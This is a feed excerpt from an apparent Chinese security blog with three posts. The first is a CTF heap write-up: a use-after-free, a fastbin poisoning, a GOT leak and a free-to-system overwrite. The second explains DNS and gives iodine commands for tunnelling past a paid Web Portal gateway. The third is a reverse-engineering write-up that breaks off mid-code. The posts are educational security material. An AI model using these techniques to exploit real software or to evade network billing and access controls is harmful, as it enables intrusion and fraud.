    <content type="html"><![CDATA[<p>最近帮队友研究了一个pwn题，感觉好久不写exp差点把自己坑出shit…</p><h2 id="more-xman-fastisfast"><span id="more"></span><br>xman - fastisfast</h2><p>首先看到，这个程序前后问感觉是个经典的pwn，尤其是看到:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">Book *<span class="title function_">create</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  Book *result; <span class="comment">// rax</span></span><br><span class="line"></span><br><span class="line">  result = (Book *)<span class="built_in">malloc</span>(<span class="number">36uLL</span>);</span><br><span class="line">  ptr = result;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">void</span> <span class="title function_">del</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">if</span> ( ptr )</span><br><span class="line">    <span class="built_in">free</span>(ptr);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个地方可以发现，ptr本身free之后，并没有被释放，换句话说，这个是一个典型的UAF。</p><p>这里想到，fast bin中对于堆的管理如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">+---------------+</span><br><span class="line">|  prev_size    |</span><br><span class="line">+---------------+</span><br><span class="line">|      size     |</span><br><span class="line">+---------------+</span><br><span class="line">|   fd  |       |</span><br><span class="line">+---------------+</span><br></pre></td></tr></table></figure><p>如果说，这个chunk的fd存在指定值的时候，我们去修改fd，那么下一次malloc的返回值就会是fd的值。但是周末的时候，听到了大佬们讨论关于malloc的保护机制，去翻一下源代码看一下,大概看懂了防护机制。简单来说，检查了fd中的大小和malloc中的大小是否相等，这就不好搞了啊，如果我们随便的修改fd的话，很可能会被查出来。那么我们这里先做一次实验，看看会不会发生这样的事情。实验结果的确是，我们只有修改的fd指向了【堆块开头大小符合要求的时候才能够完成分配】。。。。。</p><p>那么我们首先要泄露数据，但是，但是，我发现free之后，也没有什么值得泄露的东西啊！</p><p>昨天晚上fuzz（？）了一下，发现有一个malloc的洞我居然没有发现：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">puts(&quot;Please input your information&quot;);</span><br><span class="line">puts(&quot;Name:&quot;);</span><br><span class="line">readn(v1, 8LL);</span><br></pre></td></tr></table></figure><p>这个位置上，在v1指向的ptrfree之后，如果重新读入一个指针的话，那么malloc就【可能为其分配空间】。</p><p>利用算是找到了，但是泄露怎么办呢。。。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">.bss:<span class="number">0000000000602090</span> <span class="built_in">stdin</span>@@GLIBC_2_2_5 dq ?                 ; DATA XREF: LOAD:<span class="number">0000000000400410</span>↑o</span><br><span class="line">.bss:<span class="number">0000000000602090</span>                                         ; init_proc+<span class="number">4</span>↑r</span><br><span class="line">.bss:<span class="number">0000000000602090</span>                                         ; Alternative name is <span class="string">&#x27;stdin&#x27;</span></span><br><span class="line">.bss:<span class="number">0000000000602090</span>                                         ; Copy of shared data</span><br><span class="line">.bss:<span class="number">0000000000602098</span> completed_6962  db ?                    ; DATA XREF: __do_global_dtors_aux↑r</span><br><span class="line">.bss:<span class="number">0000000000602098</span>                                         ; __do_global_dtors_aux+<span class="number">13</span>↑w</span><br><span class="line">.bss:<span class="number">0000000000602099</span>                 align <span class="number">20</span>h</span><br><span class="line">.bss:<span class="number">00000000006020</span>A0                 public info</span><br><span class="line">.bss:<span class="number">00000000006020</span>A0 info            dd ?                    ; DATA XREF: main:loc_400B59↑r</span><br><span class="line">.bss:<span class="number">00000000006020</span>A0                                         ; main+C0↑w ...</span><br><span class="line">.bss:<span class="number">00000000006020</span>A4                 align <span class="number">8</span></span><br><span class="line">.bss:<span class="number">00000000006020</span>A8 ; Book *ptr</span><br><span class="line">.bss:<span class="number">00000000006020</span>A8 ptr             dq ?                    ; DATA XREF: create+E↑w</span><br><span class="line">.bss:<span class="number">00000000006020</span>A8                                         ; edit+<span class="number">17</span>↑r ...</span><br><span class="line">.bss:<span class="number">00000000006020</span>A8 _bss            ends</span><br><span class="line">.bss:<span class="number">00000000006020</span>A8</span><br></pre></td></tr></table></figure><p>今天去找了大佬讨论，发现套路真的多。这个ptr是我们用来存放malloc对象的指针，然后，上面这个info，是一个计数器。我本来是想不到info用来做什么的，因为其功能就是【每次进入主循环，就自然增加1】，今天突然发现，原来可以用来【伪造malloc size】！具体是个什么思路呢，大致如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">+----------------------+ &lt;---fd</span><br><span class="line">| (prevsize) &amp;info - 8 |</span><br><span class="line">+----------------------+</span><br><span class="line">|    (size)  info      |</span><br><span class="line">+----------------------+</span><br><span class="line">|    ptr               |</span><br><span class="line">+----------------------+</span><br></pre></td></tr></table></figure><p>如上，我们让free之后的堆块中的fd指向info的位置，然后我们malloc两次之后，就会将这个fd分配出来。如果我们在malloc之前，info已经达到了0x30次，那么当我们把fd分配出来的时候，正好会变成0x31，此时就能够绕过malloc的保护机制，并且将ptr的位置分配出来（为什么不是fd的位置？这个是malloc决定的，要跨国prev_size和size，把data部分交出来啦）</p><p>那么接下来，当我们在修改name的时候，<strong>【实际上就是在修改ptr指针】</strong>。此时如果我们让指针指向got表的开头，从0x602010开始的位置，那么就能够在输入comment和age之后，将这些地址泄露。其中，为了防止在输入comment的时候，发生【不小心将重要数据覆盖的事情】，我们这里对于整数，可以使用scanf的漏洞【输入’-'的时候，符号不会被考虑】，然后完成曾输入，经过调整之后，我么能够泄露地址:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">_dl_runtime_resolve_avx : 0x7fca53b567c0</span><br><span class="line">printf: 0x537ee950(只能够拿到低八位)</span><br><span class="line">free: 0x7fca53b58c90</span><br></pre></td></tr></table></figure><p>通过拿到了这个地址之后，我们就能够上网去查询当前我们使用的libc.so.6的版本号了<br>然而，今天试了很多次，发现其实libc-database好像没有那么好用啊。。。找不到指定的libc。。纠结了一会儿觉得就先这样吧。</p><p>之后的思路很简单，拿到libc之后，算出system的地址，然后修改got表，把free的地址改成system，然后重新create一个chunk，并且name里面的内容改成<code>/bin/sh</code>，然后free掉这个内容即可。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;最近帮队友研究了一个pwn题，感觉好久不写exp差点把自己坑出shit…&lt;/p&gt;
&lt;h2 id=&quot;more-xman-fastisfast&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="heap" scheme="https://showlinkroom.me/tags/heap/"/>
    
  </entry>
  
  <entry>
    <title>网络安全课题研究--DNS Tunnel</title>
    <link href="https://showlinkroom.me/2017/09/27/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E8%AF%BE%E9%A2%98%E7%A0%94%E7%A9%B6-DNS-Tunnel/"/>
    <id>https://showlinkroom.me/2017/09/27/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E8%AF%BE%E9%A2%98%E7%A0%94%E7%A9%B6-DNS-Tunnel/</id>
    <published>2017-09-27T02:11:12.000Z</published>
    <updated>2020-07-16T13:31:30.442Z</updated>
    
    <content type="html"><![CDATA[<p>继续从大佬同学那里骗作业过来~</p><h2 id="more-利用dns-tunnel穿越网关计费系统"><span id="more"></span><br>利用DNS TUNNEL穿越网关计费系统</h2><p>说到DNS Tunnel，我之前有一篇文章介绍过:<br><a href="http://showlinkroom.me/2017/04/02/tecent%E5%AE%89%E5%85%A8%E5%B7%A5%E7%A8%8B%E5%B8%88%E6%B5%8B%E8%AF%95/">tecent安全工程师测试</a><br>当时是粗略的看了一下，这里重新复习一次DNS Tunnel的原理先。</p><h2 id="dns的定义">DNS的定义</h2><p>DNS(Domain Name System)，也就是域名解析系统，是一种能够将数字ip与域名形成映射的协议。就好像ip<strong>180.97.33.107</strong>这个我们很难记忆这4个数字，但是[<a href="http://www.baidu.com">www.baidu.com</a>]本身我们很容易去记忆，将这两者联系起来的就是DNS协议。</p><h2 id="dns工作原理">DNS工作原理</h2><p>当我们尝试去访问一个域名，比如说test.com的时候，此时电脑会发起一个请求去访问这个域名，此时会有一个请求去寻找域名所绑定的ip是什么。</p><p>我们访问的第一个服务器就是递归解析器(recusive resolver),也就是你的ISP(Internet Server Provider),互联网服务提供商，或者Wireless carriers(也就是手机平板之类使用的服务提供)或者其他第三方提供。递归解析器知道要访问哪些其他的DNS 服务器来获得你所访问的域名的解析<br><img src="/2017/09/27/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E8%AF%BE%E9%A2%98%E7%A0%94%E7%A9%B6-DNS-Tunnel/dns01.png" alt=""><br>有时候递归服务器本身就会存储有ip和域名之间的映射关系，此时它就会直接返回ip地址，结束访问。</p><p>如果没有缓存这个映射关系的话，递归解析器就回去访问13个服务器，叫做根服务器(Root Server),根服务器能解析顶级域名所在的ip 地址，比如说.com等等。由于根服务器其实在世界上很多地区都有，所以域名解析的时候，DNS 能够确保递归解析器会去寻找离它最近的服务器进行询问。<br><img src="/2017/09/27/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E8%AF%BE%E9%A2%98%E7%A0%94%E7%A9%B6-DNS-Tunnel/dns02.png" alt=""></p><p>接下来，递归解析器会去查询当前顶级域名(Top Level Domain)解析服务器，顶级域名解析服务器会返回当前域名服务器(权威服务器, Authorization Server)所在的地址，从而进一步访问:<br><img src="/2017/09/27/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E8%AF%BE%E9%A2%98%E7%A0%94%E7%A9%B6-DNS-Tunnel/dns03.png" alt=""><br>最后就相当于是从域名服务器中取得了当前test.com的ip，访问指定ip就相当于是进行了访问</p><p>我们可以尝试使用linux下的dig指令来查看:<br><img src="/2017/09/27/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E8%AF%BE%E9%A2%98%E7%A0%94%E7%A9%B6-DNS-Tunnel/dns04.png" alt=""><br>第一段相当于是介绍一些简单的查询参数。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">; &lt;&lt;&gt;&gt; DiG 9.9.5-3ubuntu0.10-Ubuntu &lt;&lt;&gt;&gt; www.baidu.com</span><br><span class="line">;; global options: +cmd</span><br><span class="line">;; Got answer:</span><br><span class="line">;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 41736</span><br><span class="line">;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 5, ADDITIONAL: 6</span><br></pre></td></tr></table></figure><p>第二段是显示我们此时请求的域名是啥</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">;; QUESTION SECTION:</span><br><span class="line">;www.baidu.com.                 IN      A</span><br></pre></td></tr></table></figure><p>此时的A表示的是Address,也就是地址，说明我们此时查询的是www.baidu.com的地址。注意到这里的域名最后有一个**.**,这里是有原因的:</p><p>**.**其实是因为，所有的域名结尾都是.root，比如说www.google.com的真正域名是www.google.com.root。这里使用.省略这个写法。<br>第三段显示了当前DNS服务器给出的答复:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">;; ANSWER SECTION:</span><br><span class="line">www.baidu.com.          1154    IN      CNAME   www.a.shifen.com.</span><br><span class="line">www.a.shifen.com.       267     IN      A       180.97.33.108</span><br><span class="line">www.a.shifen.com.       267     IN      A       180.97.33.107</span><br></pre></td></tr></table></figure><p>这里的CName(Canonical Name)表示的是当前域名的规范域名，相当于说这个域名和www.baidu.com是等效的。</p><p>第四段则是显示了此时的查询究竟查询了哪些服务器:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">;; AUTHORITY SECTION:</span><br><span class="line">a.shifen.com.           862     IN      NS      ns4.a.shifen.com.</span><br><span class="line">a.shifen.com.           862     IN      NS      ns5.a.shifen.com.</span><br><span class="line">a.shifen.com.           862     IN      NS      ns1.a.shifen.com.</span><br><span class="line">a.shifen.com.           862     IN      NS      ns2.a.shifen.com.</span><br><span class="line">a.shifen.com.           862     IN      NS      ns3.a.shifen.com.</span><br></pre></td></tr></table></figure><p>这里能看到，这个a.shifen.com总共查询了五个DNS服务器，NS表示的就是Name Server，就是说这五个服务器在管理这个域名。</p><figure class="highlight plaintext"><figcaption><span>ADDITIONAL SECTION:</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">ns1.a.shifen.com.       442     IN      A       61.135.165.224</span><br><span class="line">ns2.a.shifen.com.       466     IN      A       180.149.133.241</span><br><span class="line">ns3.a.shifen.com.       466     IN      A       61.135.162.215</span><br><span class="line">ns4.a.shifen.com.       439     IN      A       115.239.210.176</span><br><span class="line">ns5.a.shifen.com.       532     IN      A       119.75.222.17</span><br></pre></td></tr></table></figure><p>这一段显示的是上一段查询的服务器的ip为多少。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">;; Query time: 64 msec</span><br><span class="line">;; SERVER: 218.2.2.2#53(218.2.2.2)</span><br><span class="line">;; WHEN: Wed Sep 27 10:54:47 DST 2017</span><br><span class="line">;; MSG SIZE  rcvd: 271</span><br></pre></td></tr></table></figure><p>最后一段表示的是一些查询结果，查询总共花了64秒。并且本机的DNS服务器地址为218.2.2.2,端口为53(默认的查询端口)</p><p>这里介绍一下DNS记录有哪些类型:</p><ul><li>MX: 这类是SMTP用来传输邮件时候使用的</li><li>SRV: 用于记录每一种服务器提供的服务. SRV记录在高性能或者读取负载均衡方案和中很常见.</li><li>A: 表示此时为一个IPv4地址.</li><li>AAAA: 表示此时是一个IPv6地址.</li><li>TXT: 用于存放通用信息. 这个记录常常用于DNS Tunnel中.</li><li>PTR: 表示DNS反向信息.也就是说当前ip对应的域名是啥(查询的话，使用指令<code>dig -x </code>)</li></ul><h3 id="作业总结">作业总结</h3><p>最近做了一个作业，发现还是存在一些不熟悉的地方，这里记录一下：</p><blockquote><p>存在cdn的网站，最后cdn的ip解析会解析到cdn所在的服务器上</p></blockquote><p>我这里以为这个说法是不正确的，因为我一开始没想过cdn和dns能有啥关联的，所以想到说url的 <strong>CNAME</strong> 解析成cdn的url也没什么关系。后来才想到，如果cdn存在的话，那么对于<strong>CNAME</strong>解析，这个就不是一个别名那么简单，而是利用别名让url解析的ip对应到对应的cdn服务器上，从而实现cdn的加速（感觉一个很简单的道理一下子没想清楚）</p><h2 id="dns-tunnel">DNS Tunnel</h2><p>介绍了DNS的工作原理之后，我们做出如下的假设:<br>如果我们此时在一个受限制的网络中，不能主动访问外网，但是此时DNS请求却没有被禁止。那么我们如果利用DNS协议的话，是不是就能够伪装成进行DNS交换，但是实际上是和对应的服务器进行了交互，让DNS服务器帮忙转发我们的数据包呢？</p><p>假如说，此时我们已经能够控制一台域名服务器(Authorization Server)，那么当我们尝试访问一个域名，并且在本地的递归解析器中并没有留下缓存的话，那么其就会向我们之前所说的进行迭代查找。如果我们能够控制一个域名服务器的话，那么这个查找最终就会查找到对应的服务器上，然后服务器会对我们的请求进行回复，从而构建成一个逻辑上的通路。</p><p>比如说，这次我们要发送的数据为</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">c2VjcmV0</span><br></pre></td></tr></table></figure><p>那么此时我们应该尝试访问的网站叫做:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">c2VjcmV0.domain.com</span><br></pre></td></tr></table></figure><p>那么接下来的操作就会如下图一样，完成一次通信:<br><img src="/2017/09/27/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E8%AF%BE%E9%A2%98%E7%A0%94%E7%A9%B6-DNS-Tunnel/dns05.png" alt=""><br>最后就相当于在局域网中的电脑和外部的服务器形成了链接。</p><h2 id="web-portal认证方式">Web Portal认证方式</h2><p>光知道DNS Tunnel 是啥还不够，我们还得知道这个Web Portal认证是啥，才能尝试去绕过。<br>Web portal，其实就是我们很多时候在商场或者学校链接WiFi的时候，有时候会插入一个页面，要求我们输入用户名密码，或者手机号之类的东西。这个时候进行认真的方式就叫做Web Portal。Web Portal本身的网络拓扑图大致如下:<br><img src="/2017/09/27/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E8%AF%BE%E9%A2%98%E7%A0%94%E7%A9%B6-DNS-Tunnel/dns06.png" alt=""><br>然后用户在发起HTTP/HTTPS请求的时候，如果接入设备发现用户并没有进行身份认证的话，就会强制将用户重定向至于Portal服务器上。用户利用portal服务器上的信息进行基本的身份确认，然后将确认后的信息发送给接入设备。然后通过接入设备和认证服务器认证之后，计费服务器便开始进行数据请求并且进行流量计费。</p><h2 id="绕过方法">绕过方法</h2><p>我们可以看到，当前的Web Portal认证的方法有些【并没有阻止接入设备向外进行其他协议请求】。也就是说，其并没有限制DNS请求（当然也是看处理方式）。如果我们使用DNS隧道的方式，就能够绕过Web Portal中对于HTTP/HTTPS请求的拦截，完成通信。</p><p>这里使用工具<strong>Iodine</strong>进行DNS隧道搭建。为了能够实现DNS隧道搭建，那么最为关键的是要实现【查询域名的DNS请求能够来到我们指定的服务器上】。为了实现这一点，我们可以给DNS服务器上增加两条内容:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">t1      IN  NS  t1ns.mydomain.com.</span><br><span class="line">t1nsINAmy.ip.add.ress</span><br></pre></td></tr></table></figure><p>然后在服务器上使用<code>iodined</code>监听对于t1.mydomain.com的请求，</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./iodined -f -c -P secretpassword 192.168.99.1 t1.mydomain.com</span><br></pre></td></tr></table></figure><p>其中 -P 后面可以填入我们此时隧道加密的密码，然后在客户端这边，使用<code>iodine</code>发起DNS请求</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./iodine -f -P secretpassword t1.mydomain.com</span><br></pre></td></tr></table></figure><p>如果设置没有问题的话，就能够建立DNS隧道了！<br>参考网站:<br><a href="http://www.ruanyifeng.com/blog/2016/06/dns.html">http://www.ruanyifeng.com/blog/2016/06/dns.html</a><br><a href="http://blog.csdn.net/xianweijian/article/details/49450703">http://blog.csdn.net/xianweijian/article/details/49450703</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;继续从大佬同学那里骗作业过来~&lt;/p&gt;
&lt;h2 id=&quot;more-利用dns-tunnel穿越网关计费系统&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="网络安全" scheme="https://showlinkroom.me/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
    
    
    <category term="DNS Tunnel" scheme="https://showlinkroom.me/tags/DNS-Tunnel/"/>
    
  </entry>
  
  <entry>
    <title>WDCTF2017</title>
    <link href="https://showlinkroom.me/2017/09/25/WDCTF2017/"/>
    <id>https://showlinkroom.me/2017/09/25/WDCTF2017/</id>
    <published>2017-09-25T06:18:37.000Z</published>
    <updated>2020-07-16T13:31:30.420Z</updated>
    
    <content type="html"><![CDATA[<p>难得的线下赛还是解题的形式，在各方面的优势下成功的被队友带飞，最后做出了一个re，也算是有点成绩把。。</p><h2 id="more-wdctf2017"><span id="more"></span><br>WDCTF2017</h2><h2 id="problem">problem</h2><p>此题下载下来会发现一个叫做Vige.exe的文件并且还有要给readme.txt,里面内容为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">find the flag when</span><br><span class="line"></span><br><span class="line">the false key is:</span><br><span class="line">QISVTH1UQT00</span><br><span class="line"></span><br><span class="line">the text is:</span><br><span class="line">HEFDSPADVDAGHRHFSSTHLEAFFEWOXGWAFDXNDFUWAERFUBVECADAFHJDSSDAWWFVAXACRZTADAWQTIZADAWBZQQYSBTAPXRAQWDQRAYAIQDWQFFSBTQSFWQRWYNVPADWWDQAWYNXOXVXMUOXCADWQQVXGTNWWQDQVAAQLTNWUWTSMVQDQFVNUUYTVKSJKOLUSUJRLUSFESWSSUJRLYRTIQKTRTIQGJYTYTUSRT</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>感觉似乎是一个改编的题目啥的？<br>查看程序，发现有点奇怪:<br><img src="/2017/09/25/WDCTF2017/writeup01.png" alt=""><br>居然有两次输入的过程，我们用IDA大致看一下逻辑先;</p><p>跟踪到输入处理函数中，可以看到函数首先会把我们输入的字符进行&amp;0x80000001,然后将当前字符串对应的字符取出来，并且从002B6438的位置开始，检测当前输入字符串的第i位是否为1:<br><img src="/2017/09/25/WDCTF2017/writeup02.png" alt=""><br>在这个逻辑里面，我们可以确认几个事情:<br>当前的函数中存在一个全局数组，存放了当前处理的字符中第i位是否为0的函数。<br>可以看出来，此时函数将从计算得到的字符串从下列字符串表格中取出对应下标的字符<br>ZYXWVUTSRQPONMLKJIHGFEDCBA123456<br>其中计算的算法如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">global_index = index % <span class="number">5</span>;</span><br><span class="line"> <span class="keyword">if</span> ( index &gt;= index % <span class="number">5</span> + <span class="number">5</span> )                 <span class="comment">// 检查当前字符串是否&gt;10</span></span><br><span class="line"> &#123;</span><br><span class="line">   v12 = index - <span class="number">5</span>;</span><br><span class="line">   <span class="keyword">do</span></span><br><span class="line">   &#123;</span><br><span class="line">     v13 = <span class="number">0</span>;</span><br><span class="line">     <span class="keyword">for</span> ( i = index; i &gt; v12; v13 = v11 + <span class="number">2</span> * v13 )</span><br><span class="line">       v11 = nums[i--];</span><br><span class="line">     v15 = &amp;alphabet1;</span><br><span class="line">     <span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)dword_2B67B4 &gt;= <span class="number">0x10</span> )</span><br><span class="line">       v15 = (<span class="type">int</span> *)alphabet1;</span><br><span class="line">     strpcy((<span class="type">int</span>)&amp;dword_2B6770, v11, *((_BYTE *)v15 + v13));</span><br><span class="line">     v11 = global_index;</span><br><span class="line">     index -= <span class="number">5</span>;</span><br><span class="line">     v12 -= <span class="number">5</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">while</span> ( index &gt;= global_index + <span class="number">5</span> );</span><br><span class="line">   v9 = &amp;alphabet1;</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">for</span> ( j = <span class="number">0</span>; v11 &gt; <span class="number">0</span>; j = v17 + <span class="number">2</span> * j )</span><br><span class="line">   v17 = nums[v11--];</span><br><span class="line"> <span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)dword_2B67B4 &gt;= <span class="number">0x10</span> )</span><br><span class="line">   v9 = (<span class="type">int</span> *)alphabet1;</span><br><span class="line"> strpcy((<span class="type">int</span>)&amp;dword_2B6770, v11, *((_BYTE *)v9 + j));</span><br><span class="line"> <span class="keyword">for</span> ( k = <span class="number">1</span>; k &lt;= <span class="number">5</span> - global_index; ++k )</span><br><span class="line">   strpcy((<span class="type">int</span>)&amp;dword_2B6770, v18, <span class="number">48</span>);</span><br></pre></td></tr></table></figure><p>逻辑为:把我们 输入的字符串转化为bit流，然后将输入的字符串本身按照5bit分组，每组在指定的alphaabet里面取出指定下标的字符串。</p><p>首先我们确认num是从打最后往最前放的，但是它处理的时候是从后开始处理</p><p>然后我们可以知道，如果要生成指定的false key，我们此时的key长度应该只有6个字符。</p><p>然后我们使用一个简单的程序来跑一下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">ans = []</span><br><span class="line"><span class="keyword">for</span> each <span class="keyword">in</span> false_key:</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(alphabet)):</span><br><span class="line"><span class="keyword">if</span> alphabet[i] == each:</span><br><span class="line">ans.append(i)</span><br><span class="line"></span><br><span class="line">final  = []</span><br><span class="line"><span class="keyword">for</span> each <span class="keyword">in</span> ans:</span><br><span class="line">t = <span class="built_in">bin</span>(each)[<span class="number">2</span>:]</span><br><span class="line">final.append(t.zfill(<span class="number">5</span>))</span><br><span class="line"></span><br><span class="line">ans_bit2 =<span class="string">&#x27;&#x27;</span>.join(final) + <span class="string">&#x27;0&#x27;</span>*<span class="number">6</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(ans_bit2),<span class="number">8</span>):</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">chr</span>(<span class="built_in">int</span>(ans_bit2[i:i+<span class="number">8</span>],<span class="number">2</span>)),end =<span class="string">&#x27;&#x27;</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>但是由于最后一位的处理方法不太一样，是直接选取的字符串剩下三bit，我们知道选取的是&quot;T&quot;，也就是6，此时我们得到的对应字符串为&quot;N&quot;，因此答案调整为:<br>LNCKEN<br>这里记录重要地址:<br>±-------±-----------------+<br>| 2B6770 |    处理后的key    |<br>±-------±-----------------+<br>| 2B6758 |    处理前的key    |<br>±-------±-----------------+</p><p>第一部分完成了，然后看第二部分:<br>第二部分有点长，但是大致也可以分析一下;<br>首先的逻辑为:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">do</span></span><br><span class="line">  &#123;</span><br><span class="line">    v6 = &amp;our_input;</span><br><span class="line">    <span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)dword_2B67CC &gt;= <span class="number">16</span> )</span><br><span class="line">      v6 = (<span class="type">int</span> *)our_input;</span><br><span class="line">    <span class="keyword">if</span> ( *((_BYTE *)v6 + i) == <span class="string">&#x27;&#123;&#x27;</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      strpcy((<span class="type">int</span>)&amp;dst_string, dword_2B67CC, <span 